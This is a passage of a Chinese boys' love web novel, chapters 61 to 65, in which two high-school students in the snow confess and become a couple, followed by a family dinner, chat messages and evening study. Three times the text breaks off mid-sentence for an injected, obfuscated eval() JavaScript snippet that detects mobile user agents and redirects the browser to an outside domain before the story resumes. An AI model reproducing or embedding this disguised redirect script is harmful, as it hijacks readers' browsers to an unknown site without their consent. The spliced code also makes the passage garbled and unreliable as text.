有认出他的学弟学妹小声惊呼着问什么事这么急,但谢遥集根本无暇顾及。 平日里的斯文和冷静都在“林藏初”这个名字面前尽数崩裂了,他甚至没来由地有点生气。 直到终于拨开人群,看见在雪地上半坐着的人,谢遥集凉了半截的心又倏地热起来,气血上涌说不清到底是什么情绪。 “哎?谢遥集你什么时候来……” 对方讶然的问句随着身体的突然腾空而硬生生地转折成了一声惊呼,“我草!” 谢遥集越过众人,一句话都没讲,闷声将人横空捞起来,在身上背稳了,直直地抬脚就往校门口赶。 变故来得太过突然,天旋地转间林藏初已经趴在了这人的后背上,视野消失前只来得及看清周围同学齐刷刷不可置信般捂住嘴的手。 “……” 谢遥集几乎没给他反应的时间,步子走得迅而急,但是又很稳,趴在上面几乎感觉不到走路时的颠簸。 只是如果仔细听的话,就能听出来这个人急促而粗重的呼吸声,分明是刚才一路跑过来的。 过了一会儿,又被人藏着掖着似的,逐渐听不真切了。 眼见着谢遥集越走越快脚下生风,离学校的大门只有几步之遥,林藏初默了两秒,终于还是忍不住开口了。 林藏初:“我没受伤,你放我下来。” 他明显能感觉到身下的人僵了一瞬,反手抱着的力道微微一松,又立刻变得更紧了。 像是没听到这句话似的。 林藏初趴在谢遥集的背上,环过脖颈的胳膊收回来,坏心思地戳了下这人的后脑勺。 “喂。” “你是不是……听见他们说我腿断了?” “一传十十传百的,哪有那么邪乎呀。不然贝姐早都打120了。” “……” 箍着自己大腿的力道又紧了些,只是步伐却跟着放缓了。 似乎是终于缓过神来,知道自己现在走的是雪路,理应要小心谨慎些,好避免把人再给摔下去。 要做的事从“去医院”莫名其妙地变成了“逛操场”。 谢遥集还是没开口,林小少爷的话轻飘飘空荡荡地落在雪里没人接。 他倒也不恼,弯着眼睛笑眯眯地把胳膊重新勾回这人的脖颈间。 走到第三圈的时候,林藏初终于忍不住又戳了下这人搭着发尾的后脖颈。 “我有点儿冷了。你冷不冷啊?” 明显就是在没话找话,但谢遥集竟然真的回了:“嗯,有点。” 于是林藏初把自己长长的围巾拆下来,一圈两圈地往这人的脖子上挂:“那借你戴几分钟,我妈自己织的呢,可暖和了。” 他动作幅度太大,谢遥集险些有些背不住,把人又往上颠了颠,道:“别动。” 林藏初立刻很听话地不动了,围巾只缠到一半,剩下的半截还握在手里。 谢遥集原地顿了几秒,才接着往前走。 这个姿势林藏初没办法看见他的表情,只能靠这人一起一伏的呼吸频率来猜。 ……变重了。 林藏初闷闷地笑,握着围巾的流苏往这人脸上蹭,问了个八竿子打不着的问题:“其实你也喜欢我吧?” 62. Chapter 62 分明寥寥无几的几个字,却像是瞬间在肩背上加了千钧重量,连带着被对方微凉指尖触碰到的皮肤,一同温度滚烫地烧起来。 烧得谢会长向来明镜儿似的理智里都掺了灰。 以致于他没抬头,也没看路。 踩着刚铲完的、还带着层薄冰的危险地面,脚底下呲溜一滑。 就这么伴着林少爷语调陡变的半句“卧槽”,连人带伙地摔进了旁边半米高的雪堆里。 “……” 后背上的人没能来得及跳下去,不幸也跟着体验到了一把紧张刺激的平地摔,不偏不倚地砸在谢遥集的身上。 两个人交叠着摔在雪堆的凹陷里,饶是林藏在此之前早有预料,也不免被摔得短暂地怔然了一瞬。 有人在下面垫着,疼倒是不疼,只是外套里灌了雪。 林藏初被冰得打了个激灵,难得把先前的质问和调戏按下暂停键般地忘了几秒。 他下意识挪了挪身体,于是旁边仅剩的、摇摇欲坠的半个雪堆也跟着一起塌了。 厚重的雪团棉絮似地掉在他的发丝间,又被人摇着脑袋晃下去大半,只剩了些零散细碎的雪花还藏着,从下面的角度往上看,就像远处昏暗天际亮起来的星子。 裹在棉服衣袖的手按在对方的胸前,林藏初张了下嘴,半晌才蹦出来一句:“不是,你真摔啊?” 谢遥集沉默地躺在雪地里,沉默地收回一直落在对方身上的视线,然后把头扭向了一边。 “……” 摆明了是不想回答这个问题——只是右手还虚虚扶着少爷的后背,显得他传递出来的“不想搭理”四个字很没诚意。 林藏初趴在人身上,总觉得此时此刻的这个场景没来由地熟悉。 如果往前追溯,应该是在篮球场旁边那次,某个姓谢的打完比赛,放着一大箱的矿泉水不喝,非要过来抢他手里的水。 再往前,是被伞遮掉一半的滂沱大雨,泥泞水坑里歪歪斜斜放着的砖块。 两个人让泥水弄脏的运动会同款裁判服,还有他手里那只差点跟着一起“英勇就义”的巧克力味脆皮甜筒。 “……”林藏初刚想从对方身上撑起来的力道倏地卸了。 他真的怀疑谢遥集身上有什么特殊磁场,才能让两个人一碰上就摔得叠来叠去的。 有朵未融化的雪花恰巧落在唇边,林藏初没忍住伸出舌尖舔了下。 凉的。 没有那天的巧克力味脆皮蛋筒甜。 林少爷莫名其妙地又有点想吃甜筒了。 天色暗得几近看不清对方面容,周围铺满万籁俱寂的雪,鼓噪的心跳在其中掷地有声。 他忽然后知后觉,自己好像比认知中喜欢谢遥集的开始还要更早一点。 早到在对方递过来那个讨厌的巧克力蛋筒之前,在烟雾缭绕的网吧中,托盘里那瓶常温的冰红茶开始。 那颗名为“在意”的种子就已经抽枝发芽,温和地藏在了心房角落。 ——没有占用太多地方,但是却像藤蔓一样不声不响地爬满每一寸心墙。 然后在一个普通的夜晚,昭然若揭地开花结果,给了单纯又迟钝的少爷当头一棒。 林藏初深吸口气,尽量提醒自己不去想那些乱七八糟的事,那些让人气血上涌、精神亢奋的回忆。 谢遥集被他按在雪里,从开始到现在没有说过一句话,但也不代表不能刨根问底地问。 林藏初低头盯着人看,谢会长难得有如此狼狈的样子,头发和衣服上都是雪,偏偏还扭过头不肯露正脸和视线。 林藏初问:“为什么躲我?” “……”没有回答。 “喜欢就是喜欢,为什么不肯承认?” 按着人的力道重了些,林藏初压着火气,但在被人多日冷战的情绪积攒爆发之下,效果实在甚微。 他的袖口因为大幅度动作而灌进新的碎雪,又被滚烫的体温给迅速捂化了,变成几滴剔透分明的水珠,顺着手指淅淅沥沥地淌下来。 “……” 谢会长负隅顽抗般偏过去的脑袋,被林少爷不由分说地给轻轻掰了回来。 在对方指尖融化的雪,沿着下巴轮廓一路淌进脖颈,彻骨的凉意如同慢性毒药,以一种蚂蚁噬咬的速度,逐渐靠近胸腔里猛烈跳动的心脏。 谢遥集觉得自己简直就像是一簇要被大雪压灭的火苗。 不与人说的内里和虚张声势的外皮都岌岌可危,在林藏初一句接着一句的问话下溃不成军—— 这人马上就能发现,自己平日里的游刃有余是演的,很多次的无动于衷是装的,只剩下没有说出口的喜欢是真的。 ……谢遥集生平第一次偏听偏信、道听途说,结果就落了这样的狼狈下场。 再拖下去只会更糟,在林小少爷的逼问下选一个他想听的、或者是他不想听的答案。 在梦里分明是有过的。 可是等真正落到自己头上,谢遥集哪个都不想选。 ……也不敢选。 他无端生出逃跑的心思,挣扎着想从面前人的言语桎梏中挣脱。 慌乱间,试图借力撑起来的身体不小心压到了林藏初的脚踝,谢遥集听见对方吃痛地嘶了声。 “……你没事吧?” 几乎是下意识的瞬间反应,他一骨碌地从雪地上爬起来,连身上粘着的残雪都来不及清理。 谢遥集急急地要握着人的脚踝去看,结果被对方轻轻一缩就躲了过去。 他怔然抬头,看见眼前人在笑,这才发现自己又被耍了。 “……” 林藏初撑着雪站起来,看向谢遥集的眼神里明晃晃地有句话。 ——哈,你看。这下藏不住了吧。 头顶上方的路灯跟着两人起身的动作倏地亮起,随即一盏接着一盏地照满了整个操场。 远处传来学生们惊喜的呼喊声,周遭无边无际的雪色从一种朦胧的、分辨不清的灰,转而变成了明亮的、熠熠发光的白。 似乎是被冻得冷了,林藏初头发遮掩着的耳廓有些发红。 谢遥集静默地站在他对面,目光沉沉地朝人落过去,深红色的校服上是方才摔倒沾上的、还没来得及拍下去的残雪。 天上纷纷扬扬的雪下得缓了些,鹅绒似地往下飘,落在对面人漂亮挂霜的睫毛上。 操场,雪夜和路灯冷白色的光。 ……无比熟悉的场面。 就好像那天没有完成的告白,在这一刻命运齿轮转动般地就此延续了。 谢遥集莫名地喉咙发紧,眼镜在他猝然急促的呼吸里蒙上一层白雾。 他被雾蒙蒙的镜片挡了视线,再看不清林藏初的面容,只能听见这人清朗干脆的声线,是很认真的语气。 “喂,我说真的。要不要试着在一起?” “……” 谢遥集听见了自己沙哑发干的嗓音:“我没钱。” 对面的人忽然瞪大眼睛,像是听见什么对牛弹琴般的回答,缓了好一会儿才接着问:“啊?” “跟这个有什么关系?” 谢遥集又闭了下眼,躲开林小少爷灼热的视线,和里面隐含的“他是不是没听懂我说话”的怀疑。 “……只是其中一条。” “你和我……很多地方都不合适。走不长远的。” 谢遥集知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13951735|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道自己一向是个没什么道德感的人。喜欢的东西,只要抓到了就不会撒手。 就算他真的有钱,有能力去承担“男朋友”这三个字带来的后果,可少爷那点轻飘飘的荷尔蒙和三分热度的短暂新奇感,真的能足够支撑他被自己折磨半辈子吗? ……不见得吧。 “既然知道走下去是错误的路,为什么还要明知故犯地去走?” 谢遥集的声音听上去很冷静,“我们的家境、眼界,还有其余的一切都是两个世界的人。我这个人也……很糟糕,与其在恋爱中互相折磨,不如从一开始就……” 林藏初从来没见过谢遥集说这么多话,除了在主席台上做发言稿的时候。 印象里这人永远都是简明扼要的语气,对部员下命令的时候言简意赅,就连拒绝大大小小的情书礼物也只是简单明了地回上一句:“谢谢,抱歉。” 少爷猝不及防被对面劈头盖脸地怼了一堆,脑子还有点懵,什么糟糕啊不合适啊通通没听进去。 只听见了“互相折磨”这四个字。 几秒钟后,谢会长以拒绝为目的、滔滔不绝的论点陈述忽然被人语气强硬地打断了。 “去你大爷的。”林藏初说,“什么以后,什么未来?” “还没在一起呢,你贷款焦虑个勾八啊?” 不知道是因为他骂的太脏,还是真的误打误撞说到了谢遥集构建论据的关键点上,总之林藏初就这么把对方剩下的话悉数赌回了嗓子眼。 谢遥集张了张口,似乎是还想再说些什么。 林藏初啧了声,干脆利落地伸手,拽着他脖颈上被自己缠上去的围巾,不耐烦地把人往跟前用力一扯。 “我就问你一句,现在是不是在喜欢我?” 两个人的距离猛地拉近,对方目秀眉清的五官猝然在眼前放大到极致,谢遥集呼吸一窒,心跳彻底地乱了。 人在缺氧的状态下是说不出来谎话的。 雪又下得大了些,林藏初手里攥着围巾边角,被他牵在长而暖和的围巾里的人垂着眼,喉咙里闷闷地嗯出个音节来。 “……是。” “那就在一起。”林藏初把剩下的半截围巾往自己的脖子上缠,“两个互相喜欢的人是要在一起的,你小时候没有读过童话结局吗?” 谢遥集无端想起那本放在奶奶枕边的,自己只看了后半段的童话书。 讲的是骑士打败恶龙拯救公主的故事。 因为是二手的,所以最后的几页里结局被人涂掉篡改了,恶龙不仅没有被骑士打败,还迎娶了自己心心念念的公主殿下。 谢遥集低下头,看见林藏初和他围着同一条长长的围巾,眉眼单纯得像是童话里的公主。 而他是那条从小就爱上公主殿下的卑劣恶龙。 “嗯,读过。” 既然结局里恶龙和公主都能在一起,那他和林藏初为什么不能? 占有欲难得作祟,云后的月光若隐若现地照出来,谢遥集这才发现今晚和上次还是有点不一样的。 这是个有月亮的雪夜。 “既然读过那就……” 一阵冷风顺着雪刮过来,林藏初很突兀地打了个喷嚏,好不容易营造出来的暧昧氛围一扫而空,“阿嚏!” 谢遥集终于没忍住笑出声,伸手帮他拢好围巾,然后在林小少爷期待的视线里,声音很慢地讲:“我答应你。” “那就在一起。” 林小少爷还没反应过来,挂着雪的眼睫就已经被人轻轻地落了个吻。 “!” “第一次谈恋爱。”他听见谢遥集的声音,有点哑,里面带了笑,“有点紧张,见谅。” 63.Chapter 63 等林藏初放学回到家的时候,外面的天已经完全黑了。 林父难得在家一回,正坐在餐桌旁乐呵呵地帮着林母倒饮料。 他听见响动抬头,看见自家儿子脑袋上结满冰碴的头发:“?” 宝贝闺女也跟在哥哥背后进了门,后脑勺坠着两条像是被水洗过的沉重麻花辫,林父很是震惊地问:“你们兄妹俩怎么都搞成这个样子?去哪儿玩了?” “别提了,校领导脑子让门夹了,大下雪天的把我们赶出去扫雪……” 林子浔有气无力地跟爹抱怨了两声,拖着疲沓的脚步钻进洗手间,“这鬼天气……冻死我了……” 厨房里忽然传来噼里啪啦的声响,林藏初往地上扔书包的手一顿,看见自家母亲正试图往餐厅桌子上端最后的玉米排骨汤。 林父的视线余光一直盯着那边,见状立刻放下手里的饮料杯,急急地钻进厨房去接:“我来,我来就行了。” 林子浔从卫生间拎了毛巾出来,正一边擦头发一边往客厅走,顺便往林藏初的方向也扔了条干毛巾过去:“喏,你也擦擦。” 绣着小猪佩奇图样的粉红色毛巾在空中划出一道完美的抛物线,但没能被人接住。 林子浔眼睁睁地看着那条毛巾以毫厘之差,从她哥发丝结着的冰碴剐蹭过去,最后四平八稳地盖在了这人的脸上。 林藏初:“。” “哥你怎么不接啊?你在看什……” 林子浔把毛巾从他的脸上捡起来,然后就发现这人的注意力全然没在自己身上。 于是她也顺着自家哥的视线看过去—— “……”说了半截的话戛然而止,林子浔被自己的口水呛到,硬生生把接下来的嗔怪给咽回去了。 林父林母正在以一个十分滑稽且小心翼翼的姿态,同手同脚地端着汤往餐厅外面挪。 ……她没眼花吧? 林子浔伸手揉了下眼睛。 “咱妈今儿个怎么想起来进厨房了?”她听见林藏初低头用气音悄悄地问。 “不知道啊……?” 于是她也小声回:“今天这饭还能吃吗?会不会中毒啊?” “……”这个问题有点难说。 这头兄妹俩你看我我看你地沉默半天,那边林父已经成功地把这道夫人亲手做的排骨汤端上了桌。 林子浔斟酌半天,终于还是在林父喊她和林藏初去餐厅吃饭后,很措辞小心地问:“……今天,今天怎么没看见杨姨在啊?” “你杨姨的儿子生病了,她请假几天回去照顾。”林妈妈笑眯眯地接话道,“所以这两天家里就由我掌厨。” “怎么样!是不是很惊喜?” 林子浔张了张嘴又合上,把目光投向了餐桌对面的林父:你到底是怎么同意这件事的? 林父手握成拳重重咳嗽两声,十分娴熟地避开了这道兴师问罪的视线。 意思是不关我的事。 林妈妈没能发现他俩之间眼神的暗流涌动,兴致勃勃地盛好三碗热腾腾的排骨汤,分别放到三人面前的餐桌上:“来,快趁热尝尝!我熬了三个小时呢!” 林子浔在桌子底下伸出两根手指,悄悄戳了戳林藏初的胳膊。 林藏初回以她一个略有些疑惑的视线:“?” 林子浔眨眨眼,无声又无辜地比着口型:你、先、喝。 林藏初:“……” 林少爷抬起头,正对上母亲大人殷切期望、包含鼓励的目光。 他又缓缓低下头,面前是一碗色泽浓郁黝黑的、好像是酱油放多了的排骨汤。 旁边桌面上的手机震了震,锁屏界面亮起,俨然是男朋友发来的一条Q/Q消息: 到家了吗? ……不能再耽搁了。 林藏初深吸一口气,端起面前的白色瓷碗,在其余三个人纷呈的目光里猛地干了一大口。 “咳……咳咳!” 好烫。 好咸……好难喝!!!! 短短几秒钟,林藏初把自己这小半辈子吃过的美食都在脑子里过了一遍,试图以虚假的美好记忆来迷惑自己的味蕾—— “……咳,那个,嗯。” 林妈妈握着汤勺,凑到他面前珍而重之地问:“味道怎么样?” “……还不错!” 孝顺最后还是战胜了良知,林藏初眼含热泪,违心地朝着母亲竖起大拇指,“特别好喝!” 话音落下,他看见自家妹妹的表情从怀疑到动摇再到接受,到最后略显狐疑地端起来自己面前的汤碗。 ——也跟着小心翼翼地尝了一口。 “……”林藏初不忍直视地别过头。 “噗——咳!咳咳咳!” 林子浔手忙脚乱地拿起餐帕,拼命地捂着嘴:“……!!!” 林妈妈立刻担忧地凑前:“怎么了?……是不合口味吗?” “……” “没,没有……是我喝太急了。”林子浔艰难咽下,同时努力控制好自己的面部表情,“味道挺好的。真的。” “真的吗?” “……真的。不信你问我哥。” “。”林藏初眼观鼻、鼻观心地躲开妹妹绵里藏刀的视线,轻咳一声,偷偷在桌子底下点开手机屏幕。 菜就多练:到家了。 菜就多练:……正在进行某些不为人知的餐桌考验。 3314***629:? 林藏初趁父母不注意,把手机的摄像头探出桌面,对着那碗黑黢黢的排骨汤“咔嚓”捏了一张照片。 菜就多练:[图片] 菜就多练:看,我妈亲自下厨的战果。 3314***629:这个颜色…… 3314***629:是酱油放多了? 餐桌上的战况已经进行到了林父端着碗品尝手艺的环节,林藏初做贼心虚似的匆匆一瞥,很迅速地低着头继续回消息。 菜就多练:嗯呢!超级无敌宇宙级别爆炸咸啊! 菜就多练:现在已经轮到我爹喝了.jpg 林父稳如泰山不动声色地灌下去半碗,原本看戏的林子浔倒吸一口冷气,眼睁睁地看着他放下汤勺,朝着自家妈妈笑了笑:“有进步啊。” “这可比你当年做的那份好喝多了。” “?” 林藏初震惊地在桌子底下猛猛打字。 菜就多练:我草,我爹竟然全喝完了! 菜就多练:这么难喝他到底是怎么咽下去的???? 菜就多练:是我舌头出问题了吗? 菜就多练:啧,好想让你也过来尝尝 最后一条气泡发出去,安静许久的聊天框缓缓地打出来个问号。 3314***629:转正第一天就要见家长? 3314***629:有点没准备好 ……?! 不是,这都什么跟什么啊! 林藏初反应过来这人话里的意思,后知后觉地发现自己被摆了一道,耳朵尖都有点冒红。 他狠狠地按着聊天框下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14105218|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的键盘:我不是说这个!! 3314***629:0.o? “……”恼羞成怒过后的愤慨叹号就这么被人用俩圈和一个点给轻飘飘地打散了。 林藏初强行绷直自己疯狂想要上扬的嘴角,硬撑着把脑袋低下去。 不行。有点忍不住。 一想到这个表情是谢遥集本人发的,就感觉特别招笑。 ——他到底从哪里学来的这些啊? “哥,你在桌子底下偷偷乐啥呢?” 林子浔问。 林藏初条件反射地按灭手机屏幕。 发现不是爹也不是妈,他紧绷的肩背松懈一瞬,随即道:“哈……不告诉你。” 林子浔:“……” 林子浔:“说得像我很想知道似的,谁稀罕啊。切。” 餐桌上爹妈在旁边催着兄妹俩吃菜,林藏初往嘴里扒拉了一口饭,眼睛却还盯着腿上手机屏幕里的聊天框。 是谢遥集发来的两条新消息。 3314***629:不聊了,我要吃饭了。 3314***629:食堂都快没人了。 林藏初低着头,一边往嘴里送饭,一边用左手单手打字:好,你今晚吃的什么啊? 3314***629:[图片] 林藏初点开大图,发现是食堂独有的萝卜炖冻豆腐,还有几根土豆条孤零零地戳在上面。 菜就多练:就吃这个……? 3314***629:[图片] 3314***629:还有这个。 第二张图片赫然是几片咸菜加两块红色腐乳。 “……” 林少爷久远的、唯一一次在食堂吃饭的记忆闪回,他想起那盘被阿姨倒进谢遥集碗里的宫保鸡丁。 口感和味道都一言难尽。 ……比加了酱油的排骨汤还要难吃。 嘴里的咀嚼动作难得停了一瞬,林藏初思考几秒,转而利落干脆地点开聊天输入框右侧的加号。 * 一中食堂。 周围穿着各色校服的学生端着餐盘匆匆而过,嬉闹着从食堂的这头横跑到那头,几个关系好的高二学弟似乎是刚进门,正因为看中了同一个餐椅而你推我搡地占着座。 谢遥集的这顿晚饭吃得算不上快。 他把视线从打打闹闹的学弟学妹身上移开,又盯着食堂门口粘着雪的厚棉帘看了几秒。 桌上的手机屏幕在人群的遮掩中肆无忌惮地亮着,聊天框里摆着自己刚刚发过去的照片。 谢遥集往上翻,翻过男朋友“你就吃这个?”的震惊质问,又翻过他自己发的那两句似是而非的调侃。 一直翻到林藏初吐槽母亲做汤手艺时的一堆感叹号,没忍住再次弯了弯唇角。 许久没动的筷子终于动了,谢遥集低头夹了块萝卜送进嘴里。 饭菜已经凉了,变得和外面的空气一样冷。落到胃里的时候会牵扯出隐约的抽痛感,他腾出左手去按,试图减缓这种填饱肚子时带来的不适。 被放下的手机在桌面上微弱地震了震。 谢遥集停顿了几秒,右手放下筷子去拿手机,重新点开消息聊天框。 ——确实是林藏初发来的。 只不过不是文字,也不是表情包。 带着锦鲤标识的红包大咧咧地横在聊天界面,把上面的气泡都挤没了影儿。 菜就多练:[恭喜发财,大吉大利.jpg] 菜就多练:0.0。 64.Chapter 64 谢遥集:“?” 他的第一反应是对面被人盗号了,第二反应又感觉,这好像确实是林藏初能干出来的事。 某种难以言喻的感觉在心底蔓延开来,谢遥集咂摸几秒,难得没能在前十八年的情感经历中找到与之类似的。 所以他也不知道这个到底叫什么。 勤工俭学的红包和转账接得多了,被人发这种毫无理由的“v我50”还是头一次。 谢遥集撑着头,视线落在聊天框里红包封面那只红彤彤的锦鲤上。 按理来说,他现在其实应该是有点儿生气的。 不管是从“穷到要被男朋友接济”的方面来看,还是从“君子不受嗟来之食”的准则上来讲。 但是谢遥集的心情竟然出乎意料地平静。 对面的人发完红包和表情就没了后话,只有聊天框上方的状态栏一直在“对方正在输入”和“iphone在线”中反复切换。 食堂里的人越走越少,有相熟的同学恰巧路过,热情地拐过来打招呼:“谢神!” 谢遥集不着痕迹地盖了下手机屏幕,朝着人点点头,算是回应。 等他再把视线放回到聊天框,对方的状态栏已经不再切换,只有最下方孤零零地挂着一条格外简短的气泡。 还没等看清是什么,就被人很迅速地撤回了。 谢遥集一顿,终于品出来些屏幕对面的人此刻无比单纯的心境。 他没忍住勾了勾嘴角,存了揶揄的心思,单手打字。 3314***629:饿不死 3314***629:心意已领,留着给五子棋买猫粮 屏幕另一端。 林藏初坐在客厅的沙发上,盯着谢遥集刚发来的两句话反复品鉴几遍,下意识又往远处餐桌的方向看了看。 五子棋正扒着林妈妈的家居服喵声喵气地讨要小鱼干。 不过才几个月的光景,曾经瘦巴巴的瘦猫已经变成了一只健康圆润的黑白发面馒头,窝在拖鞋边上的时候甚至看不出哪里是猫脑袋,哪里是猫尾巴。 林子浔正拦着妈妈不让她去起身开猫罐头:“妈!五子棋已经够胖了,不能再吃零食了!” 五子棋听到某个关键字,抗议般地叫了两声,毛绒绒的尾巴一甩,留给林子浔半个圆滚的猫屁股。 林妈妈慈爱地弯腰摸了摸它的脑袋:“孩子爱吃就让它吃嘛,又不是养不起。” 林子浔:“……” 林子浔气恼地转头喊:“哥!你倒是管管啊!” 林藏初默默地抱着手机转开脸:“。” -菜就多练:它够胖了,家里的猫罐头已经囤得快放不下了 半天没等到回应,妹妹对猫的怒火彻底转移,一路烧到远在客厅的兄长身上:“你领回来的猫!” “它超重,你占百分之八十的责任!” 客厅里的林藏初低着头飞快地在手机上敲字,也不知道到底听没听。 桌上的猫罐头已经开了一半,五子棋眼巴巴地盯着瞧,林子浔左劝不动右拎不走,再看沙发上岿然不动的人就更碍眼了。 她三步并作两步地噔噔跑过去,一把将林藏初的手机抢下来,怒道:“别玩了!负责!!” 聊天框里的消息打到一半被迫中断,转眼手机就已经到了别人手里。 屏幕还亮着,只要林子浔稍稍低头,就能清楚地看见上面两个人你一言我一语的对话记录。 林藏初下意识地肩背紧绷,莫名有种即将早恋被抓的紧张感。 他强迫自己不去注意被对方抓在手里的手机:“罐头你买的,小鱼干我买的。” “……凭什么我要占百分之八十的责任?” “就凭它跟你最亲——少废话,以后五子棋的减肥计划你全权负责!” 林子浔愤怒地把手机屏幕按灭了。 林藏初……林藏初不易觉察地松了口气。 “明明是你和咱妈把它喂成这个样的,我才bu……” 他十分硬气地开口,下一秒手机的锁屏界面再度亮起,嗡地一声闪进来条新消息通知。 “……负责就负责!” 拒绝的话无比生硬地打了个转折。 “不就是给猫减肥吗,包在我身上——手机还我!” 他趁着林子浔还没反应过来,快人一步地迅速把手机捞回来。 林子浔:“?” 答应得这么痛快,吃错药了? 林藏初把手机扣在身后,气定神闲地问:“还有其他事吗?” 林子浔:“没……好像是没了?” 似乎是得到了想要的答案,原本在沙发上安稳坐着的人立刻唰地站起来,脚不沾灰地往楼上跑。 “?”林子浔茫然转头,只来得及看见自家哥消失在楼梯拐角处的衣摆。 随后哐当一声巨响,她听见二楼房间的门被人干脆利落地关上了。 ……听声音,好像还上了锁。 林子浔:“……”怎么直接跑了? 这人今天反常得有点奇怪。 ——该不会真的是吃错药了吧? * 晚自习是英语,第一节不讲课,林藏初难得没在老师走进班级之前就趴桌上准备睡觉。 只是试卷依旧空空荡荡一个字都没写。 他盯着前两篇阅读里面的长句子出神,笔尖戳在题目括号里,很快洇出来个不大不小的蓝色墨点。 几秒钟之后手里的笔被人拿走了,谢遥集折得规整的纸条递过来。 很简明扼要的三句话: 下节课要检查,别发呆,快写。 纸条被林藏初扯过来,瞪着犯困的眼睛凝视半分钟,最后打了个“?”递回去。 随后他听见谢遥集叹了口气。 旁边的桌面上传来窸窸窣窣的声音,似乎是对方将那张草稿纸压进了英语词典里。 没有后续了。 林藏初:“?” 谁家好人上课传纸条就传一个来回? 说不清心里是什么情绪,但林藏初莫名地有点不爽。 不知是受了同桌递纸条的影响,又或者是因为别的什么,他低下头,头一回认认真真地去看了英语卷上的题目。 ……十个单词里有六个不认识。说起来,这好像是谢遥集头一回劝他写作业。 放在以前,这人都是直接把试卷答案推过来的,连个多余的眼神都不肯给。 这么说倒也不太准确— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220710|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —有几次谢遥集递答案的时候确实看过来了,但眼神里明晃晃地都是:这种简单题还不会?你脑子呢? 林藏初觉得自己被骂了。 但是他又没办法反驳,因为在学习这件贯穿整个校园生涯的事上,林小少爷发现自己的天分确实要比别人少那么一点。 看英语卷看得太久,上面的单词都跟着重影,林藏初的脑袋也开始瞌睡着往下点。 放在桌面上的那只手里还攥着笔,另一只胳膊随意地垂在身侧,下巴在主人昏昏欲睡的忽视里悬空着往下坠。 一下。两下。 坠到第三下的时候,忽然被一只冰凉的手掌托住了。 “?!” 林藏初被这陌生的触感凉得打了个激灵,睡意全无,险些从座位上跳起来。 他瞪大眼睛愤然望向罪魁祸首,眼神里带着控诉的怒气:有病是吧? 谢遥集没反驳也没承认,连带着抵在林藏初下巴处的手指也没往回拿。 “别睡。”他低声道。 ……这是能控制得了的事情吗? 林藏初简直想当众站起来大声质问他。 以前自己上课睡觉,这人也没管过啊? 怎么去食堂吃个饭再回来的功夫,就跟换了个人一样? 但是这些话他都没问。 忍气吞声如林少爷,在默念五十遍对方已经是自己的男朋友之后,终于稳定了自己丧失睡意后的糟糕情绪。 他在谢遥集的注视下缓缓转头,平心静气地陈述道:“卷子我不会做。” 谢遥集:“嗯。” 林藏初:“题目里的九个单词,我有六个不认识。” 谢遥集:“嗯。” 林藏初深吸一口气:“所以我觉得,在这种情况下,我有选择睡觉与否的权利——” 哐当。 一声略微有些沉闷的巨响打断了他的据理力争。谢遥集将那本夹着纸条的英语词典扣在林藏初的桌面上。 谢遥集:“不会的自己查。” 林藏初:“……?” 五分钟后。 趁着英语老师离开教室的间隙,被知识洗涤的林少爷忍无可忍地对着同桌伸手,指尖发颤:“你以前不是这样的!” 谢遥集淡定反问:“我以前不是哪样的?” “你以前……” 林藏初想说,你以前会把卷子借给我抄的。 但是他想起当初自己递过去的百元大钞,又想起今天晚上被退回来的那个红包。 “……”说不上是哪里不对,但林藏初罕见地停了话。 谢遥集认真地看着他,很明显地在等。 碰巧英语老师从教室外面回来,林藏初松了口气,借着缘由不再言语,自作主张地结束了这一场不知从何而来的质问。 针管笔尖的沙沙声再度响起,林藏初往谢遥集的桌面看,发现这人已经在写第五张的英语卷了。 他盯着对方骨节分明的右手出神。 指节冰凉的触感仿佛还停留在下巴处,林藏初觉得痒,忍不住伸手轻轻地蹭了蹭。 男朋友……应该是要特别一些的吧? 少爷很是腹诽地心想,竟然连卷子都不能免费抄。小气鬼。 65.Chapter 65 学校策划已久的冰雪节最后定在下周,高三(1)班有谢会长作为内部知情人,十分幸运地比其他班更早地掌握了第一手重磅消息。 最后一节自习课间,一群八卦好信儿*的人趁着贝姐不在班级,叽叽喳喳地把教室中央两个人的座位围起来。 “——做雪雕??” 不知是听见什么,周扬的声音猛地拔高,几乎盖过了隔壁班主任在班里的训话声,“学校真这么决定的?” 谢遥集矜持地点点头。 “咱班同学的美术水平……” 高姿在旁边扶着椅背直叹气:“不说是擀面杖吹火一窍不通,也得是能把骏马奔腾画成秃驴打挺。” 站在她旁边凑热闹的体委莫名想起当年那张全班同学齐心协力做成的班级文化墙,顿时牙疼地一抽气:“嘶——” 那面黑板报在竣工的第二天,就被偶然路过的副校长迅速下令拆除了。 